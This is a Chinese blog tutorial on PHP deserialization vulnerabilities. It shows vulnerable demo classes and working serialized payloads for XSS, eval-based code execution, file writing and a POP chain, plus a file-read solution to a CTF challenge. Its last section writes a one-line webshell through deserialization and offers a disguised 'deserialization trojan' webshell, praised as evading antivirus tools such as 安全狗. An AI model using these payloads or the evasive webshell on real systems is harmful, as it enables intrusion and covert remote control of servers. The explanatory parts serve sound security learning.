PHP反序列化漏洞


0x001 漏洞产生原理

  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。

0x002 漏洞触发条件

  一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同时类中具有魔术方法。

0x003 PHP魔术方法

  • __construct() 当一个对象创建时被调用
  • __destruct() 当一个对象销毁时被调用
  • __toString() 当一个对象被当作一个字符串使用
  • __sleep() 在对象在被序列化之前运行
  • __wakeup 将在序列化之后立即被调用

0x004 序列化数据格式

序列化主要分为字符型、数组型、对象型。

image

以序列化对象格式为例

O:4:"info":2:{s:4:"name";i:2:"19";}

image

0x005 反序列化漏洞

1. XSS

漏洞示例demo2.php:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

利用序列化值构造POC:

http://127.0.0.1/labs/fxlh/demo2.php?a=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

成功在页面进行了弹窗:在序列化数据之后,立即自动调用了__wakeup()函数,执行 <img src=1 onerror=alert(1)>

image

2. 代码执行

漏洞示例test.php:

<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

构造序列化值:

O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

利用序列化值构造POC:

http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

成功显示了phpinfo页面:在反序列化该数据时,自动触发了_destruct()函数,执行 eval(phpinfo())

image

3. 文件写入

漏洞示例demo3.php:

<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

利用序列化值构造POC:

http://127.0.0.1/labs/fxlh/demo3.php?a=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

成功将phpinfo写入了shell.php:在反序列化该数据结束后,,立即自动调用了__wakeup()函数,而在__wekeup()创建了对象后,就会自动调用__construct()函数,从而执行了文件写入的操作。

image

4. 文件读取

2020 ISCC CTF中的一道题为例

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

代码审计

  1. GET形式传入一个data参数,并且对data参数进行了反序列化;
  2. 使用了_toString() 当一个对象被当作一个字符串时自动调用
  3. 使用file_get_contents()包含$file文件内容;
  4. 最后使用base64_encode()加密输出$file文件中的内容。

构造序列化值:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

利用序列化值构造POC:

http://101.201.126.95:7003/index.php?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

成功显示了flag.php文件中的内容:在反序列化该数据时,自动触发了_toString()函数,执行 base64_encode(file_get_contents($filename))

image

5. 漏洞拓展

  上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢? 

漏洞示例demo4.php:

<?php
class maniac{
    public $test;
    function __construct(){
        $this->test =new x1();
    }

    function __destruct(){
        $this->test->action();
    }
}
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

我们发现类的普通方法调用eval()函数,这个函数很危险,如果可控就可能造成代码执行。

 通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以它会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中。

构造如下序列化代码serialize-demo4.php:

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
		function __destruct(){
			$this->test->action();
		}
    }

    class x2{
        public $test2="phpinfo();";
		function action(){
			eval($this->test2);
    }
    }

    $class1 = new maniac();
    print_r(serialize($class1));
?>

上述序列化代码运行后得到的序列化值:

O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

利用得到的序列化值构造POC:

http://127.0.0.1/labs/fxlh/demo4.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

image

0x006 反序列化webShell

1. 配合菜刀getShell

漏洞示例test.php:

<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

利用eval()传入可控参数,写入一句话木马 <?php @eval($_GET[cmd]);?>,构造序列化数据值:

O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

利用序列化值构造POC

http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

执行该POC后,会在同级目录下生成一个shell.php文件,通过菜刀连接访问shell.php,即可getShell

image

2. 反序列化木马

利用反序列化的特点,编写webShell木马

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

webShell木马出处:https://xz.aliyun.com/t/2202

使用菜刀连接该webShell木马

image

此木马与正常文件很像,所以对于免杀安全狗等防护软件效果很不错。

参考文章


文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
 上一篇
永恒之黑(CVE-2020-0796) 永恒之黑(CVE-2020-0796)
北京时间 3 月 12 日晚,微软发布安全公告披露了一个最新的SMB远程代码执行漏洞(CVE-2020-0796),攻击者利用该漏洞无须权限即可实现远程代码执行。
2020-05-16
下一篇 
在线Google Hacking小工具 在线Google Hacking小工具
在做渗透项目或者在挖SRC时,经常需要利用到Google Hacking语法进行信息搜集。为了便捷,可以利用这个Google Hacking小工具进行快速搜索。
2020-05-11
  目录